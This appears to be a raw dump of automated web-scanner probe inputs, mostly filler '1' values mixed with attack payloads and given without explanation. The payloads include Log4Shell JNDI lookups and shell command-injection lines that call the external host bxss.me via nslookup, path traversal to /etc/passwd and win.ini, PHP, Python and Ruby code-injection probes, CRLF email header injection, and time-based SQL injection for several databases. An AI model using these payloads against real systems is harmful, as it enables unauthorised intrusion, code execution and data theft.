3

1

1

1

1

1

1

1

1

1

1

1

1

1

1%00

1%01

1

1

1

1

response.write(9298355*9201740)

1'>">

'+response.write(9298355*9201740)+'

1

1

"+response.write(9298355*9201740)+"

1

1

1

1

1

1

jXZO9FXo

1

1

1

1

1

1

1

1

1

1

1

1

${j${::-n}di:dns${::-:}${::-/}/hitforbrnfjenf38f6${::-.}bxss.me}zzzz

1%0abcc:074625.9365-4832.9365.8360c.19402.2@bxss.me

to@example.com>%0d%0abcc:074625.9365-4833.9365.8360c.19402.2@bxss.me

1

1

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

1

1

../../../../../../../../../../../../../../windows/win.ini

1

1

1

file:///etc/passwd

12345'"\'\");|]*%00{%0d%0a%bf%27'

${9999422+9999279}

1

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.074625.9365-4834.9365.8360c${::-.}1${::-.}bxss.me}}

1

../1

1

1

1

1

1

1

1

1

1&n936801=v977522

1

1

1

1

1

1

1

1

1

1

1

1

)

1

1

1

!(()&&!|*|*|

^(#$!@#$)(()))******

1

1

1

1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

';print(md5(31337));$a='

Http://bxss.me/t/fit.txt

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitctfhccgdil63e51.'+'bxss.me')

http://bxss.me/t/fit.txt%3F.jpg

";print(md5(31337));$a="

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitctfhccgdil63e51."+"bxss.me")+'

${@print(md5(31337))}

'.gethostbyname(lc('hitmi'.'woiybjlm2052a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(79).chr(105).chr(65).'

/etc/shells

${@print(md5(31337))}\

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitctfhccgdil63e51.'+'bxss.me')+"

1

c:/windows/win.ini

'.print(md5(31337)).'

1

bxss.me

1

1

".gethostbyname(lc("hitoh"."mmlztirn25a77.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(72).chr(112).chr(74)."

1

1

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

/xfs.bxss.me

1

1

1

1

1

1

1

http://hitsvuttobnsd.bxss.me/

1

1

1

'"

1

echo dutjsb$()\ pteqox\nz^xyu||a #' &echo dutjsb$()\ pteqox\nz^xyu||a #|" &echo dutjsb$()\ pteqox\nz^xyu||a #

"+"A".concat(70-3).concat(22*4).concat(114).concat(71).concat(111).concat(69)+(require"socket" Socket.gethostbyname("hitpo"+"kgpyexjvac57e.bxss.me.")[3].to_s)+"

1

<!--

1

&echo ciwqhi$()\ zreyrz\nz^xyu||a #' &echo ciwqhi$()\ zreyrz\nz^xyu||a #|" &echo ciwqhi$()\ zreyrz\nz^xyu||a #

1

1

'+'A'.concat(70-3).concat(22*4).concat(109).concat(73).concat(115).concat(82)+(require'socket' Socket.gethostbyname('hitaw'+'zbrgqgxx86e55.bxss.me.')[3].to_s)+'

1

|echo vnvffl$()\ jjtgak\nz^xyu||a #' |echo vnvffl$()\ jjtgak\nz^xyu||a #|" |echo vnvffl$()\ jjtgak\nz^xyu||a #

(nslookup hitlhfuxckjta76139.bxss.me||perl -e "gethostbyname('hitlhfuxckjta76139.bxss.me')")

1

1

$(nslookup hitkbvoxsvptk66a90.bxss.me||perl -e "gethostbyname('hitkbvoxsvptk66a90.bxss.me')")

&(nslookup hitjcjqbcqvat86cc0.bxss.me||perl -e "gethostbyname('hitjcjqbcqvat86cc0.bxss.me')")&'\"`0&(nslookup hitjcjqbcqvat86cc0.bxss.me||perl -e "gethostbyname('hitjcjqbcqvat86cc0.bxss.me')")&`'

|(nslookup hitftpkztnriw5abae.bxss.me||perl -e "gethostbyname('hitftpkztnriw5abae.bxss.me')")

`(nslookup hitiwkujsqrkee8eb7.bxss.me||perl -e "gethostbyname('hitiwkujsqrkee8eb7.bxss.me')")`

;(nslookup hitjaiqmknswo2523c.bxss.me||perl -e "gethostbyname('hitjaiqmknswo2523c.bxss.me')")|(nslookup hitjaiqmknswo2523c.bxss.me||perl -e "gethostbyname('hitjaiqmknswo2523c.bxss.me')")&(nslookup hitjaiqmknswo2523c.bxss.me||perl -e "gethostbyname('hitjaiqmknswo2523c.bxss.me')")

1'"()&%

'"()&%

19262926

1

1

1

1

xil42Me3

-1 OR 2+578-578-1=0+0+0+1 --

-1 OR 2+917-917-1=0+0+0+1

-1' OR 2+897-897-1=0+0+0+1 --

-1' OR 2+485-485-1=0+0+0+1 or 'uDqf7RRI'='

-1" OR 2+835-835-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

dlQIcBVu'; waitfor delay '0:0:15' --

-5 OR 689=(SELECT 689 FROM PG_SLEEP(15))--

-5) OR 130=(SELECT 130 FROM PG_SLEEP(15))--

-1)) OR 569=(SELECT 569 FROM PG_SLEEP(15))--

nc87bBCt' OR 537=(SELECT 537 FROM PG_SLEEP(15))--

SlpftkqN') OR 967=(SELECT 967 FROM PG_SLEEP(15))--

L8SHLxKy')) OR 319=(SELECT 319 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'||(select 1 from (select pg_sleep(15))x)||'

''||(select 1 from (select pg_sleep(15))x)||''

1'"

@@h3lby

1

1

1

1

1

1

1